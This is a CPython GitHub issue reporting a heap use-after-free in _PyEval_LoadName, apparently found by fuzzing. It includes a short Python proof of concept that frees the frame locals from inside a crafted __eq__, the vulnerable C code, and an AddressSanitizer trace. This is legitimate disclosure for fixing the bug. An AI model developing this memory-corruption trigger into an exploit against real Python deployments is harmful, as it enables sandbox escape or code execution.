Skip to content

Use-after-free in _PyEval_LoadName via re-entrant frame locals lookup #143236

@jackfromeast

Description

@jackfromeast

What happened?

_PyEval_LoadName consults frame.f_locals through PyMapping_GetOptionalItem, but it does so with the locals proxy still live; a crafted key can run frame.clear() inside its __eq__, freeing the locals dict while the lookup proceeds, so the name resolution continues to read the already-freed keys table and hits a use-after-free.

Proof of Concept:

def get_frame():
    try: raise RuntimeError
    except RuntimeError as e: return e.__traceback__.tb_frame

frame = get_frame()
proxy = frame.f_locals

class Fuse(str):
    armed = False
    __hash__ = str.__hash__
    def __eq__(self, other):
        if not Fuse.armed and other == "boom":
            Fuse.armed = True
            Fuse.frame.clear()
        return True

Fuse.frame = frame
proxy[Fuse("boom")] = 0
exec("boom", {}, proxy)

Affected Versions

Details
Python Version Status Exit Code
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) OK 0
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0] ASAN 1

Vulnerable Code

Details
PyObject *
_PyEval_LoadName(PyThreadState *tstate, _PyInterpreterFrame *frame, PyObject *name)
{

    PyObject *value;
    if (frame->f_locals == NULL) {
        _PyErr_SetString(tstate, PyExc_SystemError,
                            "no locals found");
        return NULL;
    }

    /* Trigger the __eq__ which clear the frame->f_locals */
    if (PyMapping_GetOptionalItem(frame->f_locals, name, &value) < 0) {
        return NULL;
    }
    if (value != NULL) {
        return value;
    }

    if (PyDict_GetItemRef(frame->f_globals, name, &value) < 0) {
        return NULL;
    }
    if (value != NULL) {
        return value;
    }
    if (PyMapping_GetOptionalItem(frame->f_builtins, name, &value) < 0) {
        return NULL;
    }
    if (value == NULL) {
        _PyEval_FormatExcCheckArg(
                    tstate, PyExc_NameError,
                    NAME_ERROR_MSG, name);
    }
    return value;
}

Sanitizer Output

Details
=================================================================
==2195217==ERROR: AddressSanitizer: heap-use-after-free on address 0x50e00000deb0 at pc 0x59ec04e2e8cf bp 0x7ffecc9b6f20 sp 0x7ffecc9b6f10
READ of size 8 at 0x50e00000deb0 thread T0
    #0 0x59ec04e2e8ce in compare_generic Objects/dictobject.c:1115
    #1 0x59ec04e2e8ce in do_lookup Objects/dictobject.c:1010
    #2 0x59ec04e2e8ce in dictkeys_generic_lookup Objects/dictobject.c:1129
    #3 0x59ec04e2e8ce in _Py_dict_lookup Objects/dictobject.c:1295
    #4 0x59ec04e3865e in _PyDict_GetItemRef_KnownHash Objects/dictobject.c:2421
    #5 0x59ec04e3865e in PyDict_GetItemRef Objects/dictobject.c:2456
    #6 0x59ec04dd2260 in framelocalsproxy_getitem Objects/frameobject.c:206
    #7 0x59ec04d0eeba in PyObject_GetItem Objects/abstract.c:163
    #8 0x59ec04d0eeba in PyMapping_GetOptionalItem Objects/abstract.c:215
    #9 0x59ec050db89b in _PyEval_LoadName Python/ceval.c:3536
    #10 0x59ec04c04c5e in _PyEval_EvalFrameDefault Python/generated_cases.c.h:9348
    #11 0x59ec050dcad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #12 0x59ec050dcad6 in _PyEval_Vector Python/ceval.c:2001
    #13 0x59ec050dcad6 in PyEval_EvalCode Python/ceval.c:884
    #14 0x59ec0522216e in run_eval_code_obj Python/pythonrun.c:1365
    #15 0x59ec0522216e in run_mod Python/pythonrun.c:1459
    #16 0x59ec05228670 in _PyRun_StringFlagsWithName Python/pythonrun.c:1259
    #17 0x59ec05228670 in PyRun_StringFlags Python/pythonrun.c:1271
    #18 0x59ec050c6b09 in builtin_exec_impl Python/bltinmodule.c:1209
    #19 0x59ec050c6b09 in builtin_exec Python/clinic/bltinmodule.c.h:571
    #20 0x59ec04d5e3e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #21 0x59ec04d5e3e7 in PyObject_Vectorcall Objects/call.c:327
    #22 0x59ec04c125a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #23 0x59ec050dcad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #24 0x59ec050dcad6 in _PyEval_Vector Python/ceval.c:2001
    #25 0x59ec050dcad6 in PyEval_EvalCode Python/ceval.c:884
    #26 0x59ec0522216e in run_eval_code_obj Python/pythonrun.c:1365
    #27 0x59ec0522216e in run_mod Python/pythonrun.c:1459
    #28 0x59ec05226e17 in pyrun_file Python/pythonrun.c:1293
    #29 0x59ec05226e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #30 0x59ec0522793c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #31 0x59ec0529ae3c in pymain_run_file_obj Modules/main.c:410
    #32 0x59ec0529ae3c in pymain_run_file Modules/main.c:429
    #33 0x59ec0529ae3c in pymain_run_python Modules/main.c:691
    #34 0x59ec0529c71e in Py_RunMain Modules/main.c:772
    #35 0x59ec0529c71e in pymain_main Modules/main.c:802
    #36 0x59ec0529c71e in Py_BytesMain Modules/main.c:826
    #37 0x7d3ef602a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #38 0x7d3ef602a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #39 0x59ec04c36634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)

0x50e00000deb0 is located 48 bytes inside of 160-byte region [0x50e00000de80,0x50e00000df20)
freed by thread T0 here:
    #0 0x7d3ef64fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x59ec04e2b3df in free_keys_object Objects/dictobject.c:823
    #2 0x59ec04e2b3df in dictkeys_decref Objects/dictobject.c:473
    #3 0x59ec04e2b3df in dictkeys_decref Objects/dictobject.c:446
    #4 0x59ec04e2b3df in dict_dealloc Objects/dictobject.c:3354
    #5 0x59ec04e2b3df in dict_dealloc Objects/dictobject.c:3328
    #6 0x59ec04e7b1d8 in _Py_Dealloc Objects/object.c:3200
    #7 0x59ec04dcc7a4 in Py_DECREF Include/refcount.h:418
    #8 0x59ec04dcc7a4 in frame_tp_clear Objects/frameobject.c:1985
    #9 0x59ec04dcc8aa in frame_clear_impl Objects/frameobject.c:2028
    #10 0x59ec04dcc8aa in frame_clear Objects/clinic/frameobject.c.h:407
    #11 0x59ec04d5e3e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #12 0x59ec04d5e3e7 in PyObject_Vectorcall Objects/call.c:327
    #13 0x59ec04c125a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #14 0x59ec050dd2a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #15 0x59ec050dd2a5 in _PyEval_Vector Python/ceval.c:2001
    #16 0x59ec04f105e2 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #17 0x59ec04f105e2 in vectorcall_unbound Objects/typeobject.c:3033
    #18 0x59ec04f105e2 in maybe_call_special_one_arg Objects/typeobject.c:3175
    #19 0x59ec04f105e2 in _PyObject_MaybeCallSpecialOneArg Objects/typeobject.c:3190
    #20 0x59ec04f105e2 in slot_tp_richcompare Objects/typeobject.c:10729
    #21 0x59ec04e822af in do_richcompare Objects/object.c:1059
    #22 0x59ec04e822af in PyObject_RichCompare Objects/object.c:1108
    #23 0x59ec04e822af in PyObject_RichCompareBool Objects/object.c:1130
    #24 0x59ec04e2e373 in compare_generic Objects/dictobject.c:1110
    #25 0x59ec04e2e373 in do_lookup Objects/dictobject.c:1010
    #26 0x59ec04e2e373 in dictkeys_generic_lookup Objects/dictobject.c:1129
    #27 0x59ec04e2e373 in _Py_dict_lookup Objects/dictobject.c:1295
    #28 0x59ec04e3865e in _PyDict_GetItemRef_KnownHash Objects/dictobject.c:2421
    #29 0x59ec04e3865e in PyDict_GetItemRef Objects/dictobject.c:2456
    #30 0x59ec04dd2260 in framelocalsproxy_getitem Objects/frameobject.c:206
    #31 0x59ec04d0eeba in PyObject_GetItem Objects/abstract.c:163
    #32 0x59ec04d0eeba in PyMapping_GetOptionalItem Objects/abstract.c:215
    #33 0x59ec050db89b in _PyEval_LoadName Python/ceval.c:3536
    #34 0x59ec04c04c5e in _PyEval_EvalFrameDefault Python/generated_cases.c.h:9348
    #35 0x59ec050dcad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #36 0x59ec050dcad6 in _PyEval_Vector Python/ceval.c:2001
    #37 0x59ec050dcad6 in PyEval_EvalCode Python/ceval.c:884
    #38 0x59ec0522216e in run_eval_code_obj Python/pythonrun.c:1365
    #39 0x59ec0522216e in run_mod Python/pythonrun.c:1459
    #40 0x59ec05228670 in _PyRun_StringFlagsWithName Python/pythonrun.c:1259
    #41 0x59ec05228670 in PyRun_StringFlags Python/pythonrun.c:1271
    #42 0x59ec050c6b09 in builtin_exec_impl Python/bltinmodule.c:1209
    #43 0x59ec050c6b09 in builtin_exec Python/clinic/bltinmodule.c.h:571
    #44 0x59ec04d5e3e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #45 0x59ec04d5e3e7 in PyObject_Vectorcall Objects/call.c:327
    #46 0x59ec04c125a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #47 0x59ec050dcad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #48 0x59ec050dcad6 in _PyEval_Vector Python/ceval.c:2001
    #49 0x59ec050dcad6 in PyEval_EvalCode Python/ceval.c:884
    #50 0x59ec0522216e in run_eval_code_obj Python/pythonrun.c:1365
    #51 0x59ec0522216e in run_mod Python/pythonrun.c:1459
    #52 0x59ec05226e17 in pyrun_file Python/pythonrun.c:1293
    #53 0x59ec05226e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #54 0x59ec0522793c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #55 0x59ec0529ae3c in pymain_run_file_obj Modules/main.c:410
    #56 0x59ec0529ae3c in pymain_run_file Modules/main.c:429
    #57 0x59ec0529ae3c in pymain_run_python Modules/main.c:691
    #58 0x59ec0529c71e in Py_RunMain Modules/main.c:772
    #59 0x59ec0529c71e in pymain_main Modules/main.c:802
    #60 0x59ec0529c71e in Py_BytesMain Modules/main.c:826
    #61 0x7d3ef602a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #62 0x7d3ef602a28a in __libc_start_main_impl ../csu/libc-start.c:360

previously allocated by thread T0 here:
    #0 0x7d3ef64fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x59ec04e27f14 in new_keys_object Objects/dictobject.c:784
    #2 0x59ec04e27f14 in insert_to_emptydict Objects/dictobject.c:1948
    #3 0x59ec04c01cbc in _PyEval_EvalFrameDefault Python/generated_cases.c.h:11245
    #4 0x59ec050dcad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #5 0x59ec050dcad6 in _PyEval_Vector Python/ceval.c:2001
    #6 0x59ec050dcad6 in PyEval_EvalCode Python/ceval.c:884
    #7 0x59ec0522216e in run_eval_code_obj Python/pythonrun.c:1365
    #8 0x59ec0522216e in run_mod Python/pythonrun.c:1459
    #9 0x59ec05226e17 in pyrun_file Python/pythonrun.c:1293
    #10 0x59ec05226e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #11 0x59ec0522793c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #12 0x59ec0529ae3c in pymain_run_file_obj Modules/main.c:410
    #13 0x59ec0529ae3c in pymain_run_file Modules/main.c:429
    #14 0x59ec0529ae3c in pymain_run_python Modules/main.c:691
    #15 0x59ec0529c71e in Py_RunMain Modules/main.c:772
    #16 0x59ec0529c71e in pymain_main Modules/main.c:802
    #17 0x59ec0529c71e in Py_BytesMain Modules/main.c:826
    #18 0x7d3ef602a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #19 0x7d3ef602a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #20 0x59ec04c36634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)

SUMMARY: AddressSanitizer: heap-use-after-free Objects/dictobject.c:1115 in compare_generic
Shadow bytes around the buggy address:
  0x50e00000dc00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x50e00000dc80: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x50e00000dd00: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa
  0x50e00000dd80: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
  0x50e00000de00: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
=>0x50e00000de80: fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd
  0x50e00000df00: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd
  0x50e00000df80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x50e00000e000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50e00000e080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50e00000e100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2195217==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    interpreter-core(Objects, Python, Grammar, and Parser dirs)type-crashA hard crash of the interpreter, possibly with a core dump

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions